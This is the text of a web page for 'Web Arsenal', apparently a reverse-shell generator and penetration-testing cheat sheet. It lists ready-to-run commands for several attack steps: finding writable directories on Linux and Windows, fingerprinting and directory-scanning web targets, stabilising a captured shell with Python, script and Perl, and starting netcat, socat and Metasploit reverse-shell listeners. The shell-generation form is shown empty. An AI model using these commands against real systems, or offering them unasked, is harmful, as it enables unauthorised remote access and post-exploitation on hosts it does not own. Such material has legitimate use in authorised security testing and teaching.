Web Arsenal - Web Exploitation & Rev Shell Engine

Linux/macOSFind Writable Dirs

From current location

find . -type d -writable 2>/dev/null

System-wide (skip /proc /sys /dev)

find / -maxdepth 4 -type d -writable 2>/dev/null | grep -vE "^/proc|^/sys|^/dev"

Best writable dir -> assign $DEST

DEST=$(for d in "$HOME" /tmp "${TMPDIR:-/tmp}" /var/tmp; do [ -w "$d" ] && echo "$d" && break; done); echo "$DEST"

Windows PSFind Writable Dirs

Quick check - common safe spots

@($env:TEMP,$env:TMP,$env:USERPROFILE,$env:LOCALAPPDATA) | Where-Object { $_ -and (Test-Path $_) } | ForEach-Object { $_ }

CMD fallback

echo %TEMP% && echo %USERPROFILE% && echo %LOCALAPPDATA%

WebQuick Web Enum

Whatweb fingerprint

whatweb -a 3 http://TARGET

WAF detection

wafw00f http://TARGET

Gobuster quick dir scan

gobuster dir -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt,bak,zip -t 40

Nikto vuln scan

nikto -h http://TARGET -o nikto.txt

WebShell Upgrade & Stabilize

Python PTY spawn

python3 -c 'import pty;pty.spawn("/bin/bash")'

Full TTY upgrade

python3 -c 'import pty;pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset export TERM=xterm export SHELL=bash stty rows 40 columns 160

Script method

script /dev/null -c bash

Perl PTY spawn

perl -e 'exec "/bin/bash";'

Configuration

LHOST (your listener IP)

LPORT

Target OS

Linux

Windows

Both

Filter by type

Listener Commands

Netcat classic

nc -lvnp 4444

rlwrap nc (better TTY)

rlwrap nc -lvnp 4444

Socat listener (full TTY)

socat file:`tty`,raw,echo=0 tcp-listen:4444

Metasploit handler

use exploit/multi/handler set PAYLOAD linux/x64/shell_reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 run

Generated Shells

~

Fill LHOST & LPORT then click Generate